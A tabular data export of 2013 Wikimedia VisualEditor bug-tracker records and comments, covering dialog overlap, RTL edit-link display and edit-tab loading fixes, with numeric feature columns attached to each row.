.0,3.6666666666666665,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,2.0,0.0,0.0,0.0,3.8311111111111114,0.6622222222222223,"**Author:** CODE

**Description:**
Page notice overlaps the close button on page settings

I tried to edit Barack Obama using the Visual Editor. The page notice came up - which is fine - but then I clicked on the page settings without dimissing the page notice and wasn't able to dismiss the page notice. The page notice covers the close button so the only button I could press is ""apply changes"" to causes the page settings window to go away, allowing me to hide the page notice.

I was told in #-visualeditor that you can click anywhere in the notice itself to dismiss it - something I didn't even consider doing because that's not standard behaviour for notifications (considering Facebook and even Echo). Please can we make the page notice dismissable by clicking on the ""1 notice"" area, even if you've got the page settings window up?

See attached screenshot for an illustration of the problem.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL

**Attached**: {F11576}"
245977,VisualEditor: Page notices overlap dialogs,This problem is still reproducible with the link editor dialog.,,,1373940337,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-geudhodnzjlx4dkfmnsc,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.909090909090909,1.0,This problem is still reproducible with the link editor dialog.
245971,VisualEditor: Page notices overlap dialogs,"This has now been fixed by Rob; marking as such. I hope we can deploy this to production soon, possibly tomorrow.",,,1372809200,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-geudhodnzjlx4dkfmnsc,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.72,0.96,"This has now been fixed by Rob; marking as such. I hope we can deploy this to production soon, possibly tomorrow."
52543,"VisualEditor: ""[edit | edit source]"" appears jumbled in RTL wiki with LTR interface","Inside an RTL wiki, if you set your interface to English (or any other LTR language) you will see that the '[edit | edit source]' links are jumbled.

(Example: https://he.wikipedia.org/wiki/%D7%A4%D7%99%D7%96%D7%99%D7%A7%D7%94 - use English interface)

This is probably again a case of bidi isolation. I can take a look at the code.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372726200,1372781960.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-2q5s3rnh3ragcm43w2pm,task_description,resolved,True,c1,3,False,False,True,0,,1.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,1.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,13.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,7.0,7.0,0.0,2.0,0.0,5.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,3.488095238095238,0.7261904761904762,"Inside an RTL wiki, if you set your interface to English (or any other LTR language) you will see that the '[edit | edit source]' links are jumbled.

(Example: URL - use English interface)

This is probably again a case of bidi isolation. I can take a look at the code.

--------------------------
**Version**: unspecified
**Severity**: normal"
245883,"VisualEditor: ""[edit | edit source]"" appears jumbled in RTL wiki with LTR interface",Merged and will go out with the next deployment.,,,1372781960,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2q5s3rnh3ragcm43w2pm,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Merged and will go out with the next deployment.
245876,"VisualEditor: ""[edit | edit source]"" appears jumbled in RTL wiki with LTR interface","Change 71568 merged by jenkins-bot:
Fix for edit links, RTL wikis with LTR interface

https://gerrit.wikimedia.org/r/71568",,,1372781877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5s3rnh3ragcm43w2pm,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 71568 merged by jenkins-bot:
Fix for edit links, RTL wikis with LTR interface

GERRIT_URL"
245871,"VisualEditor: ""[edit | edit source]"" appears jumbled in RTL wiki with LTR interface","Change 71568 had a related patch set uploaded by Mooeypoo:
Fix for edit links, RTL wikis with LTR interface

https://gerrit.wikimedia.org/r/71568",,,1372728163,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2q5s3rnh3ragcm43w2pm,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"Change 71568 had a related patch set uploaded by Mooeypoo:
Fix for edit links, RTL wikis with LTR interface

GERRIT_URL"
52542,VisualEditor: Tab layout should be done from a top-loading module,"The ""Edit source"" tab loads/renders a little bit after the ""Edit"" tab, sometimes more noticeably so, sometimes less. Relatedly, clicking the ""Edit"" tab very early on sometimes invokes the wikitext editor. 

It would be preferable for both tabs to be rendered simultaneously with the correct default behavior.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372725780,1375423118.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-l5ckh63ssiggmz3slrqg,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,1.0,1.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,6.0,4.0,0.0,8.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,4.175,0.6375,"The ""Edit source"" tab loads/renders a little bit after the ""Edit"" tab, sometimes more noticeably so, sometimes less. Relatedly, clicking the ""Edit"" tab very early on sometimes invokes the wikitext editor. 

It would be preferable for both tabs to be rendered simultaneously with the correct default behavior.

--------------------------
**Version**: unspecified
**Severity**: normal"
245822,VisualEditor: Tab layout should be done from a top-loading module,"This is now done, and deployed.",,,1375423118,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,"This is now done, and deployed."
245815,VisualEditor: Tab layout should be done from a top-loading module,"Change 77165 had a related patch set uploaded by Catrope:
Move edit tab generation into PHP and make it more configurable

https://gerrit.wikimedia.org/r/77165",,,1375414262,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.56,1.0,"Change 77165 had a related patch set uploaded by Catrope:
Move edit tab generation into PHP and make it more configurable

GERRIT_URL"
245810,VisualEditor: Tab layout should be done from a top-loading module,"(In reply to comment #10)
> Change 71929 merged by jenkins-bot:
> Split off setup from the rest of mw.ViewPageTarget
> 
> https://gerrit.wikimedia.org/r/71929
This introduces a top-loading module, but still does the tab layout from document ready, which means there's probably still is a flash. What we should really do is change the HTML from PHP, per comment 8.",,,1372894234,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,7.0,3.0,15.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,7.0,0.0,3.0,0.0,2.0,8.0,7.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5245901639344264,0.7377049180327869,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
This introduces a top-loading module, but still does the tab layout from document ready, which means there's probably still is a flash. What we should really do is change the HTML from PHP, per comment 8."
245805,VisualEditor: Tab layout should be done from a top-loading module,"Change 71929 merged by jenkins-bot:
Split off setup from the rest of mw.ViewPageTarget

https://gerrit.wikimedia.org/r/71929",,,1372894017,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,19.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Change 71929 merged by jenkins-bot:
Split off setup from the rest of mw.ViewPageTarget

GERRIT_URL"
245800,VisualEditor: Tab layout should be done from a top-loading module,"Change 71929 had a related patch set uploaded by Krinkle:
Split off setup from the rest of mw.ViewPageTarget

https://gerrit.wikimedia.org/r/71929",,,1372889786,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 71929 had a related patch set uploaded by Krinkle:
Split off setup from the rest of mw.ViewPageTarget

GERRIT_URL"
245792,VisualEditor: Tab layout should be done from a top-loading module,"Ideally we'd alter the HTML using a PHP hook, then have a top-loading module that just conditionally adds some CSS to make the HTML generated by the PHP hook display correctly. That should allow us to get rid of the flashing tab behavior.",,,1372883412,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,14.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,2.0,4.0,0.0,0.0,0.0,4.0,0.8163265306122449,"Ideally we'd alter the HTML using a PHP hook, then have a top-loading module that just conditionally adds some CSS to make the HTML generated by the PHP hook display correctly. That should allow us to get rid of the flashing tab behavior."
245787,VisualEditor: Tab layout should be done from a top-loading module,"(In reply to comment #6)
> Shouldn't blacklisting occur much earlier (before actually messing around
> with any buttons at all?). Before having done *anything* actually?
> 
> I'm hoping for a definite answer by James (or another dev involved).

Yes; that's bug 50608. We're re-working a whole bunch of items around the initialisation and integration code for VisualEditor right now - bug 50612 tracks that.",,,1372883259,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,2.0,12.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,3.64,0.8,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE

Yes; that's bug 50608. We're re-working a whole bunch of items around the initialisation and integration code for VisualEditor right now - bug 50612 tracks that."
245782,VisualEditor: Tab layout should be done from a top-loading module,"Shouldn't blacklisting occur much earlier (before actually messing around with any buttons at all?). Before having done *anything* actually?

I'm hoping for a definite answer by James (or another dev involved).",,,1372860735,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,7.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,16.0,16.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,4.113636363636363,0.8636363636363636,"Shouldn't blacklisting occur much earlier (before actually messing around with any buttons at all?). Before having done *anything* actually?

I'm hoping for a definite answer by James (or another dev involved)."
245778,VisualEditor: Tab layout should be done from a top-loading module,"**pinkampersand.wikimedia** wrote:

(In reply to comment #4)

> What do you mean by ""we display:none the former if the user doesn't pass the
> blacklist code""? What is the ""blacklist code""?

I believe James is referring to the part of VE that checks a user's browser and compares it against a ""blacklist"" of non-supported browsers. ""display:none""-ing the VE edit tab thereby stops people from using VE if their browser's not going to let them.

One of y'all devs can correct me if I'm wrong here.",,,1372852109,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,2.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,11.0,2.0,1.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,8.0,12.0,4.0,0.0,3.0,0.0,8.0,0.0,1.0,2.0,2.0,4.0,0.0,0.0,0.0,3.588888888888889,0.7333333333333333,"**pinkampersand.wikimedia** wrote:

(In reply to comment #4)

QUOTE
QUOTE

I believe James is referring to the part of VE that checks a user's browser and compares it against a ""blacklist"" of non-supported browsers. ""display:none""-ing the VE edit tab thereby stops people from using VE if their browser's not going to let them.

One of y'all devs can correct me if I'm wrong here."
245773,VisualEditor: Tab layout should be done from a top-loading module,"Sounds good. This could also fix bug 50402 at the same time I think?

What do you mean by ""we display:none the former if the user doesn't pass the blacklist code""? What is the ""blacklist code""?",,,1372819046,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,6.0,0.0,6.0,8.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.75,"Sounds good. This could also fix bug 50402 at the same time I think?

What do you mean by ""we display:none the former if the user doesn't pass the blacklist code""? What is the ""blacklist code""?"
245766,VisualEditor: Tab layout should be done from a top-loading module,"Re-titling slightly per discussion; the suggestion is now:

* VisualEditor (?in PHP for efficiency/simplicity) hooks into the page before display
* On this hook,
** we add the VE edit tab (""edit"")
** we switch out the WT edit tab with a new label and tool-tip (""edit source"")
** we display:none the former if the user doesn't pass the blacklist code",,,1372817658,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,3.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,7.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,11.0,4.0,1.0,4.0,0.0,3.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.1956521739130435,0.6521739130434783,"Re-titling slightly per discussion; the suggestion is now:

* VisualEditor (?in PHP for efficiency/simplicity) hooks into the page before display
* On this hook,
** we add the VE edit tab (""edit"")
** we switch out the WT edit tab with a new label and tool-tip (""edit source"")
** we display:none the former if the user doesn't pass the blacklist code"
245758,VisualEditor: Tab layout should be done from a top-loading module,"No, this bug is about the tabs at the top of the page (Read/Edit/Edit source), while bug 50540 is about the section-level edit links.",,,1372729158,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,0.7428571428571429,"No, this bug is about the tabs at the top of the page (Read/Edit/Edit source), while bug 50540 is about the section-level edit links."
245751,VisualEditor: Tab layout should be done from a top-loading module,Should this be merged in some way with Bug 50540?,,,1372729099,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-l5ckh63ssiggmz3slrqg,task_subcomment,,True,c1,3,False,,,0,,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,Should this be merged in some way with Bug 50540?
52540,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","A long-standing editor feels that the delay before the ""edit source"" option in sections disadvantages those who wish to bypass VE. Is it possible to have the ""edit source"" link visible always?

See:
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562471642#Very_slow_and_featureless

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=56337",High,80.0,1372724940,1375464355.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-em7qpd4h4h3xgy2ceara,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,14.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,7.0,1.0,1.0,5.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5616438356164384,0.6027397260273972,"A long-standing editor feels that the delay before the ""edit source"" option in sections disadvantages those who wish to bypass VE. Is it possible to have the ""edit source"" link visible always?

See:
URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
245687,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",As per https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/August_2013_update this has been fixed.,,,1375464355,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,As per URL this has been fixed.
